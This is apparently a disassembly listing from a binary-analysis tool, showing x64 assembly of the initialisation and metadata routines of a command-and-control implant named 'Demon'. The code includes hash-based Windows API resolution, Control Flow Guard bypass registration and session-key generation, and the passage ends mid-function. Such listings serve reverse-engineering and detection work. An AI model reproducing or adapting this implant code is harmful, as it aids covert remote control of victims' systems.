Similarity

14000fe80
14000fe80DemonInit:
14000fe80push r13
14000fe82xor eax, eax
14000fe84push r12
14000fe86mov r12, rdx
14000fe89push rbp
14000fe8amov rbp, rcx
14000fe8dmov ecx, 71
14000fe92push rdi
14000fe93push rsi
14000fe94lea rsi, [rip+0x142e5]
14000fe9bpush rbx
14000fe9csub rsp, 424
14000fea3lea rdi, [rsp+132]
14000feabrep stosd [rdi], eax
14000feadlea rdi, [rsp+32]
14000feb2mov ecx, 24
14000feb7rep movsd [rdi], [rsi]
14000feb9lea rdi, [rip+0x14540]
14000fec0mov ecx, 2350
14000fec5rep stosb [rdi], al
14000fec7lea rbx, [rip+0x1caa2]
14000fecelea rsi, [rip+0x1bbab]
14000fed5mov r8l, 287
14000fedblea r9, [rip+0x1bc57]
14000fee2mov rdx, rbx
14000fee5mov rcx, rsi
14000fee8mov rax, [0x30]
14000fef1mov [rip+0x14dbe], rax
14000fef8call printf
14000fefdmov ecx, 0x70e61753
14000ff02call LdrModulePeb
14000ff07mov [rip+0x14d30], rax
14000ff0etest rax, rax
14000ff11je 0x1400104b4
14000ff17mov rcx, rax
14000ff1amov edx, 0xfffffffffce76bb6
14000ff1flea rdi, [rsp+32]
14000ff24call LdrFunctionAddr
14000ff29mov rcx, [rip+0x14d0e]
14000ff30mov edx, 0xffffffff9e456a43
14000ff35mov [rip+0x145f8], rax
14000ff3ccall LdrFunctionAddr
14000ff41mov rcx, [rip+0x14cf6]
14000ff48mov edx, 0x3be94c5a
14000ff4dmov [rip+0x145d8], rax
14000ff54call LdrFunctionAddr
14000ff59mov rcx, [rip+0x14cde]
14000ff60mov edx, 0xffffffffaf740371
14000ff65mov [rip+0x145d0], rax
14000ff6ccall LdrFunctionAddr
14000ff71mov rcx, [rip+0x14cc6]
14000ff78mov edx, 0x73a9e4d7
14000ff7dmov [rip+0x145c0], rax
14000ff84call LdrFunctionAddr
14000ff89mov rcx, [rip+0x14cae]
14000ff90mov edx, 0x2f6db5e8
14000ff95mov [rip+0x145b0], rax
14000ff9ccall LdrFunctionAddr
14000ffa1mov rcx, [rip+0x14c96]
14000ffa8mov edx, 0x57c72f
14000ffadmov [rip+0x145b8], rax
14000ffb4call LdrFunctionAddr
14000ffb9mov rcx, [rip+0x14c7e]
14000ffc0mov edx, 0x7f1224f5
14000ffc5mov [rip+0x145a8], rax
14000ffcccall LdrFunctionAddr
14000ffd1mov rcx, [rip+0x14c66]
14000ffd8mov edx, 0x39d7c890
14000ffddmov [rip+0x14570], rax
14000ffe4call LdrFunctionAddr
14000ffe9mov rcx, [rip+0x14c4e]
14000fff0mov edx, 0xdde5cdd
14000fff5mov [rip+0x14560], rax
14000fffccall LdrFunctionAddr
140010001mov rcx, [rip+0x14c36]
140010008mov edx, 0x50ef3c31
14001000dmov [rip+0x14550], rax
140010014call LdrFunctionAddr
140010019mov rcx, [rip+0x14c1e]
140010020mov edx, 0x1877faec
140010025mov [rip+0x14568], rax
14001002ccall LdrFunctionAddr
140010031mov rcx, [rip+0x14c06]
140010038mov edx, 0xffffffffae92028e
14001003dmov [rip+0x14538], rax
140010044call LdrFunctionAddr
140010049mov rcx, [rip+0x14bee]
140010050mov edx, 0x600fe691
140010055mov [rip+0x14530], rax
14001005ccall LdrFunctionAddr
140010061mov rcx, [rip+0x14bd6]
140010068mov edx, 0xffffffffeec188b0
14001006dmov [rip+0x14510], rax
140010074call LdrFunctionAddr
140010079mov rcx, [rip+0x14bbe]
140010080mov edx, 0xffffffffeba8d910
140010085mov [rip+0x14510], rax
14001008ccall LdrFunctionAddr
140010091mov rcx, [rip+0x14ba6]
140010098mov edx, 0x2df06c89
14001009dmov [rip+0x14500], rax
1400100a4call LdrFunctionAddr
1400100a9mov rcx, [rip+0x14b8e]
1400100b0mov edx, 0xffffffffad1b018e
1400100b5mov [rip+0x144f0], rax
1400100bccall LdrFunctionAddr
1400100c1mov rcx, [rip+0x14b76]
1400100c8mov edx, 0x5b56b302
1400100cdmov [rip+0x144e0], rax
1400100d4call LdrFunctionAddr
1400100d9mov rcx, [rip+0x14b5e]
1400100e0mov edx, 0x40d6e69d
1400100e5mov [rip+0x144d0], rax
1400100eccall LdrFunctionAddr
1400100f1mov rcx, [rip+0x14b46]
1400100f8mov edx, 0x28d3233d
1400100fdmov [rip+0x144c0], rax
140010104call LdrFunctionAddr
140010109mov rcx, [rip+0x14b2e]
140010110mov edx, 0xffffffffcb87d8b5
140010115mov [rip+0x14518], rax
14001011ccall LdrFunctionAddr
140010121mov rcx, [rip+0x14b16]
140010128mov edx, 0xc3c03f1
14001012dmov [rip+0x14498], rax
140010134call LdrFunctionAddr
140010139mov rcx, [rip+0x14afe]
140010140mov edx, 0xffffffff946ac239
140010145mov [rip+0x14488], rax
14001014ccall LdrFunctionAddr
140010151mov rcx, [rip+0x14ae6]
140010158mov edx, 0xffffffffa410fb9e
14001015dmov [rip+0x14478], rax
140010164call LdrFunctionAddr
140010169mov rcx, [rip+0x14ace]
140010170mov edx, 0x4b82f718
140010175mov [rip+0x14468], rax
14001017ccall LdrFunctionAddr
140010181mov rcx, [rip+0x14ab6]
140010188mov edx, 0x4ed9dd4f
14001018dmov [rip+0x14470], rax
140010194call LdrFunctionAddr
140010199mov rcx, [rip+0x14a9e]
1400101a0mov edx, 0xffffffff8cdc5dc2
1400101a5mov [rip+0x14450], rax
1400101accall LdrFunctionAddr
1400101b1mov rcx, [rip+0x14a86]
1400101b8mov edx, 0x7bc23928
1400101bdmov [rip+0x14498], rax
1400101c4call LdrFunctionAddr
1400101c9mov rcx, [rip+0x14a6e]
1400101d0mov edx, 0xfffffffff783b8ec
1400101d5mov [rip+0x14488], rax
1400101dccall LdrFunctionAddr
1400101e1mov rcx, [rip+0x14a56]
1400101e8mov edx, 0xa6664b8
1400101edmov [rip+0x14488], rax
1400101f4call LdrFunctionAddr
1400101f9mov rcx, [rip+0x14a3e]
140010200mov edx, 0xffffffff968e0cb1
140010205mov [rip+0x14410], rax
14001020ccall LdrFunctionAddr
140010211mov rcx, [rip+0x14a26]
140010218mov edx, 0xffffffff803347d2
14001021dmov [rip+0x143c8], rax
140010224call LdrFunctionAddr
140010229mov rcx, [rip+0x14a0e]
140010230mov edx, 0x5a4bc3d0
140010235mov [rip+0x143b8], rax
14001023ccall LdrFunctionAddr
140010241mov rcx, [rip+0x149f6]
140010248mov edx, 0xffffffffe43d93e1
14001024dmov [rip+0x143d8], rax
140010254call LdrFunctionAddr
140010259mov rcx, [rip+0x149de]
140010260mov edx, 0x28d3233d
140010265mov [rip+0x143b8], rax
14001026ccall LdrFunctionAddr
140010271mov rcx, [rip+0x149c6]
140010278mov edx, 0x4441d859
14001027dmov [rip+0x143b0], rax
140010284call LdrFunctionAddr
140010289mov rcx, [rip+0x149ae]
140010290mov edx, 0x6d22f884
140010295mov [rip+0x143a8], rax
14001029ccall LdrFunctionAddr
1400102a1mov rcx, [rip+0x14996]
1400102a8mov edx, 0xffffffffffa0bf10
1400102admov [rip+0x14398], rax
1400102b4call LdrFunctionAddr
1400102b9mov rcx, [rip+0x1497e]
1400102c0mov edx, 0xffffffffe8ac0c3c
1400102c5mov [rip+0x14388], rax
1400102cccall LdrFunctionAddr
1400102d1mov rcx, [rip+0x14966]
1400102d8mov edx, 0x5ba11e28
1400102ddmov [rip+0x14388], rax
1400102e4call LdrFunctionAddr
1400102e9mov rcx, [rip+0x1494e]
1400102f0mov edx, 0x78983aed
1400102f5mov [rip+0x143c0], rax
1400102fccall LdrFunctionAddr
140010301mov rcx, [rip+0x14936]
140010308mov edx, 0xffffffff858a32df
14001030dmov [rip+0x143b0], rax
140010314call LdrFunctionAddr
140010319mov rcx, [rip+0x1491e]
140010320mov edx, 0xffffffffaf18cfb0
140010325mov [rip+0x14348], rax
14001032ccall LdrFunctionAddr
140010331mov rcx, [rip+0x14906]
140010338mov edx, 0x350dca99
14001033dmov [rip+0x142f8], rax
140010344call LdrFunctionAddr
140010349mov rcx, [rip+0x148ee]
140010350mov edx, 0xffffffff8e160b23
140010355mov [rip+0x142b0], rax
14001035ccall LdrFunctionAddr
140010361mov rcx, [rip+0x148d6]
140010368mov edx, 0x50e92888
14001036dmov [rip+0x142a0], rax
140010374call LdrFunctionAddr
140010379mov rcx, [rip+0x148be]
140010380mov edx, 0xffffffffccf58808
140010385mov [rip+0x14318], rax
14001038ccall LdrFunctionAddr
140010391mov rcx, [rip+0x148a6]
140010398mov edx, 0xffffffffc3170192
14001039dmov [rip+0x14308], rax
1400103a4call LdrFunctionAddr
1400103a9mov rcx, [rip+0x1488e]
1400103b0mov edx, 0xfffffffffc3a6c2c
1400103b5mov [rip+0x142c8], rax
1400103bccall LdrFunctionAddr
1400103c1mov rcx, [rip+0x14876]
1400103c8mov edx, 0xffffffffa3288103
1400103cdmov [rip+0x142e0], rax
1400103d4call LdrFunctionAddr
1400103d9mov rcx, [rip+0x1485e]
1400103e0mov edx, 0x2802c609
1400103e5mov [rip+0x142a0], rax
1400103eccall LdrFunctionAddr
1400103f1mov rcx, [rip+0x14846]
1400103f8mov edx, 0x6aa412cd
1400103fdmov [rip+0x14290], rax
140010404call LdrFunctionAddr
140010409mov rcx, [rip+0x1482e]
140010410mov edx, 0x10c0e85d
140010415mov [rip+0x14280], rax
14001041ccall LdrFunctionAddr
140010421mov rcx, [rip+0x14816]
140010428mov edx, 0xf371fe4
14001042dmov [rip+0x14298], rax
140010434call LdrFunctionAddr
140010439mov rcx, [rip+0x147fe]
140010440mov edx, 0xfffffffff5a0461b
140010445mov [rip+0x14288], rax
14001044ccall LdrFunctionAddr
140010451mov rcx, [rip+0x147e6]
140010458mov edx, 0xffffffffc85dc9b4
14001045dmov [rip+0x14278], rax
140010464call LdrFunctionAddr
140010469mov rcx, [rip+0x147ce]
140010470mov edx, 0x70c25cd8
140010475mov [rip+0x14268], rax
14001047ccall LdrFunctionAddr
140010481xor r9l, r9l
140010484lea rcx, [rsp+132]
14001048cmov [rsp+132], 284
140010497mov [rip+0x1424e], rax
14001049emov [rip+0x13fb7], r9l
1400104a5call [rip+0x140b9]
1400104abtest eax, eax
1400104adjns 0x1400104c6
1400104afjmp 0x140010584
1400104b4
1400104b4loc_1400104b4:
1400104b4lea r9, [rip+0x1b68d]
1400104bbmov r8l, 361
1400104c1jmp 0x140010bc9
1400104c6
1400104c6loc_1400104c6:
1400104c6mov eax, [rsp+136]
1400104cdcmp eax, 4
1400104d0jbe 0x140010584
1400104d6cmp eax, 5
1400104d9jne 0x1400104f8
1400104dbcmp [rsp+140], 1
1400104e3jne 0x140010584
1400104e9mov [rip+0x13f69], 1
1400104f3jmp 0x140010584
1400104f8
1400104f8loc_1400104f8:
1400104f8cmp eax, 6
1400104fbjne 0x14001055f
1400104fdmov edx, [rsp+140]
140010504test edx, edx
140010506jne 0x14001051a
140010508xor eax, eax
14001050acmp [rsp+414], 1
140010512setne al
140010515add eax, 2
140010518jmp 0x14001057e
14001051a
14001051aloc_14001051a:
14001051acmp edx, 1
14001051djne 0x140010531
14001051fcmp [rsp+414], 1
140010527mov edx, 4
14001052ccmove eax, edx
14001052fjmp 0x14001057e
140010531
140010531loc_140010531:
140010531cmp edx, 2
140010534jne 0x140010548
140010536xor eax, eax
140010538cmp [rsp+414], 1
140010540sete al
140010543add eax, 7
140010546jmp 0x14001057e
140010548
140010548loc_140010548:
140010548cmp edx, 3
14001054bjne 0x140010584
14001054dxor eax, eax
14001054fcmp [rsp+414], 1
140010557setne al
14001055aadd eax, 8
14001055djmp 0x14001057e
14001055f
14001055floc_14001055f:
14001055fcmp eax, 10
140010562jne 0x140010584
140010564cmp [rsp+140], 0
14001056cjne 0x140010584
14001056ecmp [rsp+414], 1
140010576mov edx, 11
14001057bcmovne eax, edx
14001057e
14001057eloc_14001057e:
14001057emov [rip+0x13ed8], eax
140010584
140010584loc_140010584:
140010584mov r9l, [rip+0x13ed1]
14001058bmov r8l, 390
140010591mov rdx, rbx
140010594lea rcx, [rip+0x1b5cb]
14001059bcall printf
1400105a0mov ecx, 0xffffffffadd31df0
1400105a5call LdrModulePeb
1400105aamov [rip+0x14695], rax
1400105b1mov rcx, rax
1400105b4test rax, rax
1400105b7je 0x140010b6e
1400105bdmov edx, 0xffffffffb7072ff1
1400105c2call LdrFunctionAddr
1400105c7mov rcx, [rip+0x14678]
1400105cemov edx, 0x5b6b908a
1400105d3mov [rip+0x1411a], rax
1400105dacall LdrFunctionAddr
1400105dfmov rcx, [rip+0x14660]
1400105e6mov edx, 0xffffffffe857500d
1400105ebmov [rip+0x141ea], rax
1400105f2call LdrFunctionAddr
1400105f7mov rcx, [rip+0x14648]
1400105femov edx, 0x72073b5b
140010603mov [rip+0x1411a], rax
14001060acall LdrFunctionAddr
14001060fmov rcx, [rip+0x14630]
140010616mov edx, 0x1c44e892
14001061bmov [rip+0x14182], rax
140010622call LdrFunctionAddr
140010627mov rcx, [rip+0x14618]
14001062emov edx, 0x32030e92
140010633mov [rip+0x1417a], rax
14001063acall LdrFunctionAddr
14001063fmov rcx, [rip+0x14600]
140010646mov edx, 0x252b157d
14001064bmov [rip+0x1415a], rax
140010652call LdrFunctionAddr
140010657mov rcx, [rip+0x145e8]
14001065emov edx, 0xfffffffff37ac035
140010663mov [rip+0x14092], rax
14001066acall LdrFunctionAddr
14001066fmov rcx, [rip+0x145d0]
140010676mov edx, 0xffffffffb06fa1a8
14001067bmov [rip+0x14082], rax
140010682call LdrFunctionAddr
140010687mov rcx, [rip+0x145b8]
14001068emov edx, 0x43f6e75f
140010693mov [rip+0x14072], rax
14001069acall LdrFunctionAddr
14001069fmov rcx, [rip+0x145a0]
1400106a6mov edx, 0xffffffff9694e9e7
1400106abmov [rip+0x14062], rax
1400106b2call LdrFunctionAddr
1400106b7mov rcx, [rip+0x14588]
1400106bemov edx, 0xfffffffffbaf90cf
1400106c3mov [rip+0x140c2], rax
1400106cacall LdrFunctionAddr
1400106cfmov rcx, [rip+0x14570]
1400106d6mov edx, 0xffffffffa6a2249d
1400106dbmov [rip+0x140da], rax
1400106e2call LdrFunctionAddr
1400106e7mov rcx, [rip+0x14558]
1400106eemov edx, 0x687d2110
1400106f3mov [rip+0x1403a], rax
1400106facall LdrFunctionAddr
1400106ffmov rcx, [rip+0x14540]
140010706mov edx, 0x7b813820
14001070bmov [rip+0x1401a], rax
140010712call LdrFunctionAddr
140010717mov rcx, [rip+0x14528]
14001071emov edx, 0x60afc95d
140010723mov [rip+0x14012], rax
14001072acall LdrFunctionAddr
14001072fmov rcx, [rip+0x14510]
140010736mov edx, 0xffffffffa05e2a83
14001073bmov [rip+0x14002], rax
140010742call LdrFunctionAddr
140010747mov rcx, [rip+0x144f8]
14001074emov edx, 0x11b30049
140010753mov [rip+0x13ff2], rax
14001075acall LdrFunctionAddr
14001075fmov rcx, [rip+0x144e0]
140010766mov edx, 0x7b94a3fe
14001076bmov [rip+0x1426a], rax
140010772call LdrFunctionAddr
140010777mov rcx, [rip+0x144c8]
14001077emov edx, 0xffffffff84d15061
140010783mov [rip+0x14262], rax
14001078acall LdrFunctionAddr
14001078fmov rcx, [rip+0x144b0]
140010796mov edx, 0x5775bd54
14001079bmov [rip+0x13ff2], rax
1400107a2call LdrFunctionAddr
1400107a7mov rcx, [rip+0x14498]
1400107aemov edx, 0x512e1b97
1400107b3mov [rip+0x13f62], rax
1400107bacall LdrFunctionAddr
1400107bfmov rcx, [rip+0x14480]
1400107c6mov edx, 0xffffffffec725c53
1400107cbmov [rip+0x142ca], rax
1400107d2call LdrFunctionAddr
1400107d7mov rcx, [rip+0x14468]
1400107demov edx, 0xffffffffa7c5fd39
1400107e3mov [rip+0x13fb2], rax
1400107eacall LdrFunctionAddr
1400107efmov rcx, [rip+0x14450]
1400107f6mov edx, 0x538852b2
1400107fbmov [rip+0x13fc2], rax
140010802call LdrFunctionAddr
140010807mov rcx, [rip+0x14438]
14001080emov edx, 0xfffffffff3c179ad
140010813mov [rip+0x13fb2], rax
14001081acall LdrFunctionAddr
14001081fmov rcx, [rip+0x14420]
140010826mov edx, 0xffffffffd139cc66
14001082bmov [rip+0x13fa2], rax
140010832call LdrFunctionAddr
140010837mov rcx, [rip+0x14408]
14001083emov edx, 0x14fc3cc2
140010843mov [rip+0x1418a], rax
14001084acall LdrFunctionAddr
14001084fmov rcx, [rip+0x143f0]
140010856mov edx, 0xffffffff99beb7a0
14001085bmov [rip+0x14182], rax
140010862call LdrFunctionAddr
140010867mov rcx, [rip+0x143d8]
14001086emov edx, 0x3c2fba83
140010873mov [rip+0x1417a], rax
14001087acall LdrFunctionAddr
14001087fmov rcx, [rip+0x143c0]
140010886mov edx, 0xffffffffa4e66f3a
14001088bmov [rip+0x141d2], rax
140010892call LdrFunctionAddr
140010897mov rcx, [rip+0x143a8]
14001089emov edx, 0xc2c4270
1400108a3mov [rip+0x141c2], rax
1400108aacall LdrFunctionAddr
1400108afmov rcx, [rip+0x14390]
1400108b6mov edx, 0xffffffff9ab85b1c
1400108bbmov [rip+0x141b2], rax
1400108c2call LdrFunctionAddr
1400108c7mov rcx, [rip+0x14378]
1400108cemov edx, 0xffffffffe620bba8
1400108d3mov [rip+0x141aa], rax
1400108dacall LdrFunctionAddr
1400108dfmov rcx, [rip+0x14360]
1400108e6mov edx, 0x50ac3c84
1400108ebmov [rip+0x1419a], rax
1400108f2call LdrFunctionAddr
1400108f7mov rcx, [rip+0x14348]
1400108femov edx, 0xffffffffd5312e5d
140010903mov [rip+0x13e4a], rax
14001090acall LdrFunctionAddr
14001090fmov rcx, [rip+0x14330]
140010916mov edx, 0x342bd542
14001091bmov [rip+0x13e3a], rax
140010922call LdrFunctionAddr
140010927mov rcx, [rip+0x14318]
14001092emov edx, 0xfffffffff1d207d0
140010933mov [rip+0x13e2a], rax
14001093acall LdrFunctionAddr
14001093fmov rcx, [rip+0x14300]
140010946mov edx, 0x436e4c62
14001094bmov [rip+0x13e1a], rax
140010952call LdrFunctionAddr
140010957mov rcx, [rip+0x142e8]
14001095emov edx, 0x4ad9b11c
140010963mov [rip+0x13e0a], rax
14001096acall LdrFunctionAddr
14001096fmov rcx, [rip+0x142d0]
140010976mov edx, 0x3d54a9f4
14001097bmov [rip+0x13dfa], rax
140010982call LdrFunctionAddr
140010987mov rcx, [rip+0x142b8]
14001098emov edx, 0xfffffffff30aab23
140010993mov [rip+0x13e4a], rax
14001099acall LdrFunctionAddr
14001099fmov rcx, [rip+0x142a0]
1400109a6mov edx, 0xfffffffff67b31a5
1400109abmov [rip+0x13e72], rax
1400109b2call LdrFunctionAddr
1400109b7mov rcx, [rip+0x14288]
1400109bemov edx, 0x3626633c
1400109c3mov [rip+0x13e22], rax
1400109cacall LdrFunctionAddr
1400109cfmov rcx, [rip+0x14270]
1400109d6mov edx, 0x42ade43c
1400109dbmov [rip+0x13e12], rax
1400109e2call LdrFunctionAddr
1400109e7mov rcx, [rip+0x14258]
1400109eemov edx, 0x7a047cab
1400109f3mov [rip+0x13e32], rax
1400109facall LdrFunctionAddr
1400109ffmov rcx, [rip+0x14240]
140010a06mov edx, 0x77b0aa6a
140010a0bmov [rip+0x13e22], rax
140010a12call LdrFunctionAddr
140010a17mov rcx, [rip+0x14228]
140010a1emov edx, 0xffffffffb6af709f
140010a23mov [rip+0x13e12], rax
140010a2acall LdrFunctionAddr
140010a2fmov rcx, [rip+0x14210]
140010a36mov edx, 0xffffffff99bee22f
140010a3bmov [rip+0x13dc2], rax
140010a42call LdrFunctionAddr
140010a47mov rcx, [rip+0x141f8]
140010a4emov edx, 0xffffffffb717be65
140010a53mov [rip+0x13da2], rax
140010a5acall LdrFunctionAddr
140010a5fmov rcx, [rip+0x141e0]
140010a66mov edx, 0x39e8f317
140010a6bmov [rip+0x13d9a], rax
140010a72call LdrFunctionAddr
140010a77mov rcx, [rip+0x141c8]
140010a7emov edx, 0xffffffffcf2ad680
140010a83mov [rip+0x13dd2], rax
140010a8acall LdrFunctionAddr
140010a8fmov rcx, [rip+0x141b0]
140010a96mov edx, 0x40750b38
140010a9bmov [rip+0x13da2], rax
140010aa2call LdrFunctionAddr
140010aa7mov rcx, [rip+0x14198]
140010aaemov edx, 0xc993b9c
140010ab3mov [rip+0x13d92], rax
140010abacall LdrFunctionAddr
140010abfmov rcx, [rip+0x14180]
140010ac6mov edx, 0xffffffffd908e1d8
140010acbmov [rip+0x13d82], rax
140010ad2call LdrFunctionAddr
140010ad7mov rcx, [rip+0x14168]
140010ademov edx, 0x7a14b61c
140010ae3mov [rip+0x13d7a], rax
140010aeacall LdrFunctionAddr
140010aefmov rcx, [rip+0x14150]
140010af6mov edx, 0x71842fbf
140010afbmov [rip+0x13d6a], rax
140010b02call LdrFunctionAddr
140010b07mov rcx, [rip+0x14138]
140010b0emov edx, 0xffffffff95f45a6c
140010b13mov [rip+0x13d5a], rax
140010b1acall LdrFunctionAddr
140010b1fmov rcx, [rip+0x14120]
140010b26mov edx, 0x3f9eed0d
140010b2bmov [rip+0x13d4a], rax
140010b32call LdrFunctionAddr
140010b37mov rcx, [rip+0x14108]
140010b3emov edx, 0x271da464
140010b43mov [rip+0x13d3a], rax
140010b4acall LdrFunctionAddr
140010b4fmov rcx, [rip+0x140f0]
140010b56mov edx, 0x47886698
140010b5bmov [rip+0x13d2a], rax
140010b62call LdrFunctionAddr
140010b67mov [rip+0x13d26], rax
140010b6e
140010b6eloc_140010b6e:
140010b6ecall DemonConfig
140010b73cmp [rip+0x13960], 0
140010b7aje 0x140010ba4
140010b7cmov rcx, [rip+0x140bb]
140010b83call SysInitialize
140010b88test eax, eax
140010b8ajne 0x140010ba4
140010b8clea r9, [rip+0x1aff2]
140010b93mov r8l, 466
140010b99mov rdx, rbx
140010b9cmov rcx, rsi
140010b9fcall printf
140010ba4
140010ba4loc_140010ba4:
140010ba4mov edx, 12
140010ba9mov rcx, rdi
140010bacxor r13l, r13l
140010bafcall ShuffleArray
140010bb4
140010bb4loc_140010bb4:
140010bb4call [rdi+8*r13]
140010bb8test eax, eax
140010bbajne 0x140010bd9
140010bbclea r9, [rip+0x1afe0]
140010bc3mov r8l, 479
140010bc9
140010bc9loc_140010bc9:
140010bc9mov rdx, rbx
140010bccmov rcx, rsi
140010bcfcall printf
140010bd4jmp 0x140010db1
140010bd9
140010bd9loc_140010bd9:
140010bd9inc r13
140010bdccmp r13, 12
140010be0jne 0x140010bb4
140010be2test r12, r12
140010be5jne 0x140010c1b
140010be7mov [rip+0x1383e], rbp
140010beetest rbp, rbp
140010bf1jne 0x140010c01
140010bf3xor ecx, ecx
140010bf5call LdrModulePeb
140010bfamov [rip+0x1382b], rax
140010c01
140010c01loc_140010c01:
140010c01mov rax, [rip+0x13824]
140010c08test rax, rax
140010c0bje 0x140010c1b
140010c0dmovsxd rdx, [rax+60]
140010c11mov eax, [rax+rdx+80]
140010c15mov [rip+0x13819], eax
140010c1b
140010c1bloc_140010c1b:
140010c1bmov rax, [rip+0x14094]
140010c22mov [rip+0x1382c], 0x90009
140010c2cmov rdx, [rax+64]
140010c30mov rax, [rax+72]
140010c34mov [rip+0x13816], eax
140010c3axor eax, eax
140010c3cmov [rip+0x1380a], edx
140010c42mov [rip+0x13800], eax
140010c48call RandomNumber32
140010c4dxor r8l, r8l
140010c50xor edx, edx
140010c52xor ecx, ecx
140010c54mov [rip+0x137ea], eax
140010c5amov [rip+0x138bb], rdx
140010c61mov [rip+0x138bc], rdx
140010c68mov [rip+0x14073], rdx
140010c6fmov [rip+0x1407d], ecx
140010c75mov [rip+0x14082], r8
140010c7cmov [rip+0x14083], r8
140010c83mov [rip+0x1408c], r8
140010c8amov [rip+0x14095], r8
140010c91mov [rip+0x1402a], r8
140010c98mov [rip+0x1403b], r8
140010c9fcall CfgQueryEnforced
140010ca4test eax, eax
140010ca6je 0x140010d95
140010caclea r9, [rip+0x1af08]
140010cb3mov r8l, 546
140010cb9mov rdx, rbx
140010cbcmov rcx, rsi
140010cbfcall printf
140010cc4mov rdx, [rip+0x139e9]
140010ccbmov rcx, [rip+0x13f6c]
140010cd2call CfgAddressAdd
140010cd7mov rdx, [rip+0x13976]
140010cdemov rcx, [rip+0x13f59]
140010ce5call CfgAddressAdd
140010ceamov rdx, [rip+0x1395b]
140010cf1mov rcx, [rip+0x13f46]
140010cf8call CfgAddressAdd
140010cfdmov rdx, [rip+0x13c58]
140010d04mov rcx, [rip+0x13f43]
140010d0bcall CfgAddressAdd
140010d10mov rdx, [rip+0x13d85]
140010d17mov rcx, [rip+0x13f28]
140010d1ecall CfgAddressAdd
140010d23mov rdx, [rip+0x139fa]
140010d2amov rcx, [rip+0x13f15]
140010d31call CfgAddressAdd
140010d36mov rdx, [rip+0x1388f]
140010d3dmov rcx, [rip+0x13efa]
140010d44call CfgAddressAdd
140010d49mov rdx, [rip+0x13924]
140010d50mov rcx, [rip+0x13ee7]
140010d57call CfgAddressAdd
140010d5cmov rdx, [rip+0x13909]
140010d63mov rcx, [rip+0x13ed4]
140010d6acall CfgAddressAdd
140010d6fmov rdx, [rip+0x1392e]
140010d76mov rcx, [rip+0x13ec1]
140010d7dcall CfgAddressAdd
140010d82mov rdx, [rip+0x137e3]
140010d89mov rcx, [rip+0x13eae]
140010d90call CfgAddressAdd
140010d95
140010d95loc_140010d95:
140010d95mov r9l, [rip+0x136a8]
140010d9cmov r8l, 566
140010da2mov rdx, rbx
140010da5lea rcx, [rip+0x1ae4a]
140010daccall printf
140010db1
140010db1loc_140010db1:
140010db1add rsp, 424
140010db8pop rbx
140010db9pop rsi
140010dbapop rdi
140010dbbpop rbp
140010dbcpop r12
140010dbepop r13
140010dc0ret
14000fe80

140010dc1
140010dc1 // align 0x10

140010dd0
140010dd0DemonMain:
140010dd0sub rsp, 40
140010dd4call DemonInit
140010dd9mov edx, 1
140010ddelea rcx, [rip+0x1361b]
140010de5call DemonMetaData
140010deacall DemonRoutine
140010defnop
140010dd0

140010df0
140010df0DemonMetaData:
140010df0push r12
140010df2xor eax, eax
140010df4xor r10l, r10l
140010df7push rbp
140010df8push rdi
140010df9push rsi
140010dfapush rbx
140010dfbmov rbx, rcx
140010dfemov ecx, 71
140010e03sub rsp, 320
140010e0atest edx, edx
140010e0clea rdi, [rsp+36]
140010e11mov [rsp+32], r10l
140010e16lea r12, [rsp+36]
140010e1brep stosd [rdi], eax
140010e1dje 0x140010e33
140010e1fmov ecx, 99
140010e24call PackageCreateWithMetaData
140010e29xor r9l, r9l
140010e2cmov [rbx], rax
140010e2fmov [rax+28], r9l
140010e33
140010e33loc_140010e33:
140010e33cmp [rip+0x136e1], 0
140010e3bjne 0x140010ea9
140010e3dcmp [rip+0x136df], 0
140010e45jne 0x140010ea9
140010e47mov edx, 32
140010e4cmov ecx, 64
140010e51xor esi, esi
140010e53call [rip+0x1394b]
140010e59mov edx, 16
140010e5emov ecx, 64
140010e63mov [rip+0x136b2], rax
140010e6acall [rip+0x13934]
140010e70mov [rip+0x136ad], rax
140010e77
140010e77loc_140010e77:
140010e77call RandomNumber32
140010e7cmov rdx, [rip+0x13699]
140010e83mov [rdx+rsi], al
140010e86inc rsi
140010e89cmp rsi, 32
140010e8djne 0x140010e77
140010e8fxor esi, esi
140010e91
140010e91loc_140010e91:
140010e91call RandomNumber32
140010e96mov rdx, [rip+0x13687]
140010e9dmov [rdx+rsi], al
140010ea0inc rsi
140010ea3cmp rsi, 16
140010ea7jne 0x140010e91
140010ea9
140010ea9loc_140010ea9:
140010ea9mov rdx, [rip+0x1366c]
140010eb0mov rcx, [rbx]
140010eb3mov r8l, 32
140010eb9lea rsi, [rsp+32]
140010ebecall PackageAddPad
140010ec3mov rdx, [rip+0x1365a]
140010ecamov rcx, [rbx]
140010ecdmov r8l, 16
140010ed3call PackageAddPad
140010ed8mov edx, [rip+0x13566]
140010edemov rcx, [rbx]
140010ee1call PackageAddInt32
140010ee6xor r8l, r8l
140010ee9xor edx, edx
140010eebxor ecx, ecx
140010eedmov [rsp+32], r8l
140010ef2mov r8, rsi
140010ef5call [rip+0x138a1]
140010efbtest eax, eax
140010efdjne 0x140010f65
140010effmov edx, [rsp+32]
140010f03mov ecx, 64
140010f08call [rip+0x13896]
140010f0emov rbp, rax
140010f11test rax, rax
140010f14je 0x140010f65
140010f16mov rdi, rax
140010f19mov ecx, [rsp+32]
140010f1dxor eax, eax
140010f1frep stosb [rdi], al
140010f21xor ecx, ecx
140010f23mov r8, rsi
140010f26mov rdx, rbp
140010f29call [rip+0x1386d]
140010f2ftest eax, eax
140010f31je 0x140010f45
140010f33mov r8l, [rsp+32]
140010f38mov rcx, [rbx]
140010f3bmov rdx, rbp
140010f3ecall PackageAddBytes
140010f43jmp 0x140010f4f
140010f45
140010f45loc_140010f45:
140010f45mov rcx, [rbx]
140010f48xor edx, edx
140010f4acall PackageAddInt32
140010f4f
140010f4floc_140010f4f:
140010f4fmov ecx, [rsp+32]
140010f53mov rdi, rbp
140010f56xor eax, eax
140010f58rep stosb [rdi], al
140010f5amov rcx, rbp
140010f5dcall [rip+0x13849]
140010f63jmp 0x140010f6f
140010f65
140010f65loc_140010f65:
140010f65mov rcx, [rbx]
140010f68xor edx, edx
140010f6acall PackageAddInt32
140010f6f
140010f6floc_140010f6f:
140010f6fxor ecx, ecx
140010f71mov rdx, rsi
140010f74mov [rsp+32], ecx
140010f78xor ecx, ecx
140010f7acall [rip+0x139c4]
140010f80test eax, eax
140010f82jne 0x140010fe8
140010f84mov edx, [rsp+32]
140010f88mov ecx, 64
140010f8dcall [rip+0x13811]
140010f93mov rbp, rax
140010f96test rax, rax
140010f99je 0x140010fe8
140010f9bmov rdi, rax
140010f9emov ecx, [rsp+32]
140010fa2xor eax, eax
140010fa4rep stosb [rdi], al
140010fa6mov rdx, rsi
